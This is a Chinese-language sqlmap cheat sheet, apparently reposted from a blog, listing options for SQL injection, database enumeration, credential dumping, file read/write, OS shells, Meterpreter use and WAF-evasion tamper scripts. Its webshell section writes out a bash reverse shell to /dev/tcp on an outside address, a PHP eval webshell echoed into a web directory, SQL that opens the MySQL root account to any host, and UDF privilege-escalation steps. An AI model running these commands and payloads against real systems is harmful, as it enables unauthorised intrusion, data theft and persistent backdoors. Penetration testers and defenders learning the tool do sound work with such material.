支持模式:布尔/时间/报错/联合查询/堆查询
支持数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
支持系统 Windows/Linux
更新 python sqlmap.py --update
参数
-v 输出详情
--dbs 数据库名判断
--tables –D "cms" cms库表名判断
-T 表
-D 库
-C 列
--start 数据截取
--stop
--frist
--last
--dump-all 获取所有数据库表内容
--search 寻找特定的库/表/列
--columns -T "cms_users" -D "cms" cms.cms_users表的列名称
--dump -C "password,userid,username" -T "cms_users" -D "cms" B19 对cms.cms_users中的password,userid,username列进行破解(字段爆破)
--dump –D "cms" 对cms数据库暴力破解:cms数据库信息/数据库管理员账号信息破解
--data='id=546' --dbs post注入(get/post都适用)
-r json格式参数
-f 指纹
--users 数据库账号
--passwords 列出hash爆破
--banner 数据库信息
--dbs 数据库枚举
-a 全选
-d 连接数据库 -d "mysql://user:passward@地址:端口/数据库名称"
-m get请求批量测试 sqlmap -m list.txt
-g google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义
-p 指定检查的变量
-s sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数
-t 记录流量文件保存位置
-z 参数助记符(sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u 1.1.1.1/a.asp?id=1可以写成sqlmap -z"bat,random,ign,tec=BEU" -u 1.1.1.1/a.asp?id=1)
-c 加载sqlmap.conf文件相关配置
--param-del 当GET或POST的数据需要用其他字符分割测试参数的时候需要用
--charset 字符编码
--crawl sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度,一般设置为3
--flush-session 清空之前的session
-forms 从-u中的url获取页面中的表单进行测试
--fresh-queries 忽略session查询结果
--hex dump非ASCII字符内容时,将其编码为16进制形式
--parse-errors 分析和现实数据库内建报错信息
--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf 
--hpp 绕过waf的有效方法,尤其对asp/iis和asp.net、iis
--answers 自动输入自己想要的答案
–beep 发现sql注入时,发出蜂鸣声
--cleanup 清理sqlmap的UDF(s)和表
--disable-coloring 禁用彩色输出
--gpage 使用指定的Google结果页面
--mobile  模拟智能设备(有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆)
--batch yes
--skip 排除检测变量
--dbms 指定数据库类型
--os 指定操作系统
--cookie cookie
--load-cookies
--drop-set-cookie
* 测试value1的位置是否可注入:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
--alert 成功注入时发出警告
--level 注入模式等级
--user-agent 浏览器的信息
--random-agent 随机产生user-agent头,从/usr/share/sqlmap/txt/user-agents.txt,收集了大量的浏览器信息
--host
--referer
--headers 每个头单独一行,可以使用\n来换行(名称区分大小写)
--proxy --proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass" 需做身份验证时
--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标(若在操作系统设置了代理,后续的一切工作都经过代理)
--delay 
--csv-del 规定输出到CSV中的分隔符
--dbms-cred DBMS身份验证
--dump-format 定义dump数据的格式(输出的格式可定义为:CSV,HTML,SQLITE)
--eta 计算注入数据的剩余时间
--timeout 默认30秒
--retries http(s)连接超时重传次数,默认3次
--tamper dpkg -L sqlmap | grep  tamper 查看脚本
--risk 风险等级
--current-user 当前数据库管理系统的帐号
--current-db 当前数据库的名称
--hostname 机器的主机名
--users 数据库管理系统所有的帐号  
--users         数据库管理系统所有的帐号  
--privileges   查看所有用户权限,加 -U username  指定用户名(CU 表示当前帐号)
--roles       角色
--dbs  查看所有的数据库
--tables 列举数据库表
--exclude-sysdbs  排除系统数据库
--count   列举数据库表中的字段
--schema -batch 批处理,全部使用默认选项
--is-dba    判断当前的用户是否为管理,是的话会返回True。
--count    获取表中数据个数
valuel/user  ->valuel*/user 伪静态
--common-tables 暴力破解表名
--common-columns access系统表无列信息,暴力破解的表在txt/common-tables.txt文件中,列名在txt/common-columns.txt中。可以自行添加
–udf-inject,–shared-lib 用户自定义函数注入
--file-read 读取系统文件,如--file-read="E:/eula.1028.txt"
--file-write/--file-dest 文件上传到数据库服务器 --file-write="123.txt"--file-dest"C:/xampp/htdocs/dvwa/123.txt"
--sql-query 注入方式检测
--sql-shell 写入命令(远程命令执行)
--os-shell
--os-cmd
into outfile 写入web后门(支持ASP、ASP.NET、JSP、PHP)
--string 返回页面真假判断
--not-string
--regexp
--code
--text-only
--titles
--reg-read 对Windows注册表操作
--reg-add
--reg-del
--reg-key
--reg-value
--reg-data
--reg-type
--randomize "可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址"
--scope
--scope 关掉URL参数值编码(默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据)
--eval "每次请求前执行指定的python代码(每次请求时根据id参数值,做一次md5后作为hash参数的值。
注入) --eval=""import hashlib;hash=hashlib.md5(id).hexdigest()"""
--threads=THREADS 最大并发线程(盲注时每个线程获取一个字符(7此请求),获取完成后线程结束默认为1,建议不要超过10,否则可能影响站点可用性与--predict-output参数不兼容)
--keep-alive  使用http(s)长连接,性能好,与--proxy参数不兼容
--null-conection 只获取响应页面的大小值,而非页面具体内容能够通常用于盲注判断真/假,降低网络带宽消耗与--text-only参数不兼容(基于页面内容的比较判断真/假)
--predict-output   根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率版本名、用户名、密码、Prervileges、role、数据库名称、表名、列名与--threads参数不兼容统计表路径:/usr/share/sqlmap/txt/common-outputs.txt
--invalid-bignum  /--invalid-logical 默认情况下sqlmap使用负值使参数失效 id=13->id=-13,bignum使用大数使参数值失效 id=999999
logical 使用布尔判断使值失效 id=3 and 1=2
--no-cast sqlmap在提取数据库数据时,sqlmap默认将所有结果转换为字符串,并且空格替换NULL结果,老版本mysql数据库需要开启此开关
--no-escape 不逃逸,关闭使用char替换字符串功能,出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃避的方法替换字符串,select 'foo' ->select char(102)+char(111)+char(111)
--prefix 加前缀
--sufix 加后缀
--time-sec 设定延迟注入的时间
--union-cols 默认联合查询1-10列,随-level增加最多支持50列
-union-char 联合查询默认使用NULL,极端情况下NUL可能失败,此时可以手动指定数值 
--second-order 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假
--purge-output   清空output文件夹
--smart 当有大量检测目标时,只选择基于错误的检测结果
--wizard 引导填入参数进行注入
--auth-type Basic --auth-cred "user:pass" 如--union-char 123
Basic     基本身份验证
Digest    摘要式身份认证
NTLM      NTLM身份验证(windows)
--auth-file="ca.PEM"
--auth-cert 含有私钥的PEM格式证书文件或PEM格式的证书链文件
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
–output-dir 默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
--os-pwn Meterpreter配合使用
--os-smbrelay
-os-bof
–priv-esc
–msf-path
–tmp-path
风险等级
--risk(risk高会造成update更改数据)
默认1(无害)
2(添加基于事件的测试语句)
3 (增加OR语句的SQL注入测试)

探测方法

--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入) 

显示模式

-v
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。 

批量sql注入

-m
--scope 使用brup抓取的日志文件,但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入
sqlmap -l burp.lpg --scope="(www)?\.baidu\.(com|net|org)"
sqlmap -l burp.lpg --scope="(19)?\.168\.20\.(1|10|100)" 

SQLMap - 数据库注入 - Access

--tables -暴力破解表名

post请求注入
sqlmap -l log.txt 使用burpsuite log文件 (勾选上options中的Misc中的proxy)
sqlmap -r 1.txt 可以用burpsuite抓包并复制到txt文件(注意请用gedit编辑器,vim会因为格式问题报错)
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl  (默认不是443,在后加其端口)

cookie注入
必须使用--cookie选项/level大于等于2
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入
--cookie cookie
--load-cookies
--drop-set-cookie 拒接Set-Cookie

uesr-agent注入
lever>=3

host注入
level=5

referer注入
level>=3

避免过多的错误请求被屏蔽
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

Webshell获取

(1)直接连接数据库
sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell
(2)通过选择32位或者64位操作系统,获取webshell,执行
bash -i >& /dev/tcp/192.168.1.3/80800>&1
(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP
(4)通过echo命令生成shell:
echo “<?php@eval($_POST['chopper']);?>” >/data/www/phpmyadmin/1.php
如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新
命令可参考:
use mysql;
update userset host = ‘%’ where user = ‘root’;
FLUSHPRIVILEGES ;
注:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题

(5)sqlmap -u url--os-shell 

(6)sqlmap注入点获取webshell sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令获取

udf提权

连接mysql数据打开一个交互shell:
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\" 

waf
检测
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf

Waf - 绕过

参数绕过
--random-agent -v 2 WAF配置不当,使用任意浏览器进行绕过--hpp -v 3 在ASP.NET/IIS 平台上,使用HTTP 参数污染进行绕过--delay=3 --time-sec=60 使用长的延时来避免触发WAF的机制,这方式比较耗时
proxy=211.211.211.211:8080 --proxy-cred=211:985  使用代理进行注入
自带模块绕过
--tamper=A.py,B.py/--random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py
space2comment.py 用/**/代替空格
apostrophemask.py 用utf8代替引号
equaltolike.py like代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号,随机字符串以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py (mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py 双重查询语句,取代SQL关键字
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALLSELECT UNION SELECT
charencode.py  url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPCaddslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py 替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py 关键字前加注释"

特殊情况
--common-tables 暴力破解表名(暴力破解的表在txt/common-tables.txt文件中)
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
--common-columns 暴力破解列名

自定义模块
Sqlmap字符转换 "SELECT 全部转换为 /**/SELECT
#!/usr/bin/env python
def tamper(payload, **kwargs):
retVal = payload
if 'SELECT' in retVal:
retVal = retVal.replace('SELECT','/**/SELECT')
return retVal
命名为 select2select 放在sqlmap tamper 目录下面,然后与其他模块一起使用,中间用逗号隔开

SQLMap中使用Meterpreter
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

局限性
sqlmapapi不支持POST注入
mysql<5.0,没有information schema库
mysql<=5.0,但无权限读取information schema库
 微软的access数据集,默认无权读取mysysobjects库

转载于:https://www.cnblogs.com/AtesetEnginner/p/11175156.html

SQLMap使用总结相关推荐

  1. sqlmap 连接mysql_sqlmap连接Mysql实现getshell | CN-SEC 中文网

    摘要 首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. 语法为:" DBMS://USER:[email protected]_IP:DBMS_PORT/DATABASE_N ...

  2. SQLMap安装步骤

    SQLMap是利用Python语言写的,所以需要将Python这个语言环境给安装上 : 1.首先下载Python(这里Python版本为2.7.2,可以下载不同或高版本的) 2.然后在下载sqlmap ...

  3. ibatis的there is no statement named xxx in this SqlMap

    报错情况如下: com.ibatis.sqlmap.client.SqlMapException: There is no statement named Control.insert-control ...

  4. sqlmap 常用操作

    经常会忘记参数所有借用imooc网上的截图 轮子就不重复造了,以下博文挺好的有需要自主参考http://www.cnblogs.com/anka9080/p/sqlmap.html通过关键词找注入点 ...

  5. sqlmap 获取mysql密码_利用sqlmap 获取管理员账号密码

    首先,先简单介绍下sqlmap 简介: sqlmap是一种开源的 支持的数据库:MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Ac ...

  6. sqlmap 跑access_sqlmap注入Access

    什么是SQL注入***? SQL注入***是***对数据库进行***的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员 也越来越多.但是由于程序员的水平及经验也参差不齐,相 ...

  7. sqlmap写文件为空之谜

    恰逢有一个SQL注入可以通过sqlmap进行,而且权限高得离谱,直接就是root权限.既然是root权限当然是想直接getshell咯.可是只是sqlmap -u xxx --os-shell的时候却 ...

  8. 在SQLMAP中使用动态SQL

    最近有几个同事和朋友询问如何在SQLMAP中"拼接字符串",因为有时候条件的数量不固定,条件参数类型也不固定,无法写出 @参数名 这样的SQL语句,也就是大家常说的"动态 ...

  9. sqlmap 连接mysql_sqlmap从入门到精通-第三章-4-4-使用sqlmap直连MSSQL获取webshell或权限...

    4.4 使用sqlmap直连MSSQL获取webshell或权限 在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密 ...

  10. BurpSuite日志分析过滤工具,加快SqlMap进行批量扫描的速度

    BurpLogFilter 一个python3写的,用于过滤BurpSuite日志的小程序 A python3 program to filter BurpSuite log file. WHY? 为 ...

最新文章

  1. 比尔盖茨聘请投资高手,26年亏掉4300亿美金!
  2. 论前端工程师如何应对西电教学评估系统
  3. PHP使用session_set_save_handler陷阱
  4. 开发商微信选房后不退认筹金_【震惊】胶州恒大文化旅游城项目爆丑闻!2000余人缴纳认筹金后竟有1800余户因对房子不满意提出退款...
  5. SpringMVC-Controller怎么直接在页面上传递参数
  6. MySQL dayname()函数
  7. 五大新品+两大黑科技,看华为云如何升级基础设施让用户“躺平”
  8. 012-centos6.5配置静态ip
  9. .Net FSO简单小结(简单到不能再简单了)
  10. myeclpse 8.5 小问题记录
  11. Java继承_这10道Java面试题!大部分的人回答不出来
  12. 几款引擎比较 BigWorld Unreal CryEngine等
  13. UE4使用openCV库启动编辑器报错
  14. PyTorch - torch.nn.PReLU
  15. ECTouch_v2.7.2-一款强大的商城系统源码附视频教程
  16. PAYPAL支付开发简介
  17. 也曾鲜衣怒马少年时 一日看尽长安花
  18. android 转盘菜单,Android实现可点击的幸运大转盘
  19. 和技术大咖们一起工作是怎样的体验?擎创招人进行时,你~要上车吗?
  20. python高端实现各国GDP动态轮换图

热门文章

  1. 《精通javascript》5,6章小结(一)
  2. 再次翻看WCF的书籍
  3. DotNetNuke(DNN) 中查询所有管理员的SQL语句
  4. 那些远去的人,那段伟大的历史【ZZ】
  5. 程序员的英语水平要达到什么程度才行?
  6. 用R将图片转为字符画
  7. Linux中下载,压缩,解压等命令
  8. 过滤器为JSP文件生成静态页面
  9. [Python] 当猎头遇上 Guido van Rossum
  10. C# 缓存学习第一天